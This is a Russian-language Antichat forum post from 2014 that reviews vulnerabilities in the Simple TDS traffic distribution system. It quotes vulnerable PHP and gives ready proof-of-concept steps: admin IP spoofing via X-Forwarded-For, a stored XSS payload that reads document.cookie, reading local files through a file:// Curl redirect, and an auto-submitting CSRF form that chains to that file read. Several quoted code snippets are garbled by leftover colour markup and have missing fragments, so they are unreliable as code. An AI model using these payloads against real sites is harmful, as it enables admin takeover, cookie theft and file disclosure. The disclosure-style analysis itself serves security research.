Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей Simple TDS (sTDS) ] (https://forum.antichat.xyz/showthread.php?t=417544)

Take_IT 24.09.2014 13:14

Продукт: sTDS mod JackSoft

Версия: 2.0


Описание продукта: система распределения трафика, используется для распределения трафика по различным параметрам.

В первую очередь хотел бы высказать несколько общих замечаний касающихся безопасности данной TDS.

1) Недостаточная фильтрация переменных.

Многие из критичных для данного приложения переменных фильтруются недостаточно. Так например фильтр с помощью eregi обходится с помощью нулл-байта. А сама идея фильтра с помощью стоп слов ненадежна и элементарно обходится.

Данная уязвимость сама по себе ценности не представляет. Но может привести к возможности эксплуатировать, другие, более критические уязвимости.

Уязвимый код:

Файл got.php (Строки: 10-12)

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$ua[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]]);

...

if([/
COLOR][COLOR="#0000BB"]eregi[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ua[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]$ua[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]eregi_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ua[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

Недостаточная фильтрация переменной $ua

Файл got.php (Строки: 20,85)

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$ref[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_REFERER'[/COLOR][COLOR="#007700"]]);

...

if([/
COLOR][COLOR="#0000BB"]eregi[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ref[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]$ref[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]eregi_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ref[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

Недостаточная фильтрация переменной $ref

Файл got.php (Строки: 83,86)

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$refref[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]stristr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'REQUEST_URI'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]'sref='[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]));

...

if([/
COLOR][COLOR="#0000BB"]eregi[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refref[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]$refref[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]eregi_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refref[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

Недостаточная фильтрация переменной $refref

2) Отсутствие флага HttpOnly у cookies хранящих критическую информацию. Позволяет злоумышленнику при проведении атаки класса XSS украсть данные куки.

Уязвимый код:

Файл login.php (Строки: 21)

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'pwd'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$alogin[/COLOR][COLOR="#007700"])),[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]()+[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

Флаг HttpOnly не устанавливается!

3) Обход привязки авторизации к IP адресу.

Админ панель данного приложения может быть жестко привязана к IP адресу администратора. То есть автором, задумывалось блокировать любые попытки авторизаций с других IP адресов. Но, зная IP адрес администратора, злоумышленник сможет его подделать и успешно авторизироваться в админ панели.

Данная уязвимость может помочь в авторизации в админ панели, в том случае если уже известны логин/пароль и IP адрес администратора.

Уязвимый код:

Файл functions.php (Строки: 45-72)

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]getip[/COLOR][COLOR="#007700"](){

If (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]]) && ![/COLOR][COLOR="#0000BB"]stristr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"known"[/COLOR][COLOR="#007700"]) && ![/COLOR][COLOR="#0000BB"]isLocalIP[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]]))

{

[/
COLOR][COLOR="#0000BB"]$ipList[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]","[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$ipList[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

}

...

if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]) &&[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"])403 Forbidden"[/COLOR][COLOR="#007700"]);

}

}[/COLOR][/COLOR

Как видно из данного кода, скрипт админ-панели использует функцию GetIP на результат которой мы можем влиять, что дает нам возможность "изменить" наш IP адрес на нужный.

Пример:

http://test/path_to_stds/index.php

Код:

Code:
X-Forwaded-For: [admin_ip]

Где [admin_ip] - мы заменяем на IP адрес администратора

SQL injection

В уязвимости класса SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса XSS active, что позволит злоумышленнику украсть данные для входа в админ панель.

Зависимости:

Код:

Code:
register_global=ON

Отсутствие фильтрации и отсутствие инициализации системной переменной приводит к возможности провести SQL injection.

Уязвимый код:

Файл got.php (Строки: 31-43)

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$ipa[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dirname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__FILE__[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"/worldip/worldip.en.txt"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$sss[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sizeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ipa[/COLOR][COLOR="#007700"]);

for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$ipLstart[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$ipLo[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$se_query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'query_string'[/COLOR][COLOR="#007700"]];

echo[/
COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$se_query[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];[/COLOR][/COLOR

Вывод $se_query в браузер при просмотре статистики. Как видно из листингов нигде нет нормальной фильтрации данного значения.

Пример:

Код:

Code:
http://test/path_to_stds/got.php?sid=1&sref=http://www.google.ru/?q=%3Cbody%20onload=%22alert(document.cookie);%22%3E111%3C/body%3E

XSS код будет отображен тут:

http://test/path_to_stds/stats.php

File read

Зависимости:

Необходимы права администратора

Для чтения любого локального файла необходимо создать аут с url вида:

Код:

Code:
f{{key}}ile://localhost/[filepath]

А Redir Type указать равным Curl. Так как Curl умеет читать локальные файлы, то при обращении к схеме с созданным аутом:

Код:

Code:
http://test/path_to_stds/got.php?sid=[schema_num]

Строка "{{key}}" заменится на "". И мы увидим содержимое локального файла

Код:

Code:
file://localhost/[filepath]

Пример:

1) Создаем аут с Redir Type равным Curl

Код:

Code:
f{{key}}ile://localhost/С:/boot.ini

2) Открываем

Код:

Code:
http://test/path_to_stds/got.php?sid=1

CSRF

Вся админ-панель подверженна уязвимостям CSRF. Это дает шанс злоумышлиннику вынудить администратора выполнить любое действие в админ панели от имени администратора, но при этом в тайне от него.

К примеру можно вынудить админа создать такую схему с аутом, которая позволит в дальнейшем злоумышленнику читать локальные файлы с помощью предыдущей уязвимости.

Пример:

Если у злоумышленника получится заманить админа на страницу со специальным содержимым.

Пример:

Код:

Code:

       
       

        function SubmitSchemeForm(){
                document.CreateScheme.submit();
        }
        SubmitSchemeForm();

       
       
       
       
       
       
       
       
       
       
       
       

        function SubmitOutForm(){
                document.CreateOut.submit();
        }
        setTimeout(SubmitOutForm, 5000);

То после этого злоумышленник получит возможность читать любой файл:

Код:

Code:
http://test/path_to_stds/got.php?sid=2&tds-key=ile&tds-path=C:/boot.ini

Для данного примера эксплуатирования уязвимости необходимо правильно подобрать значение sid


Время: 20:37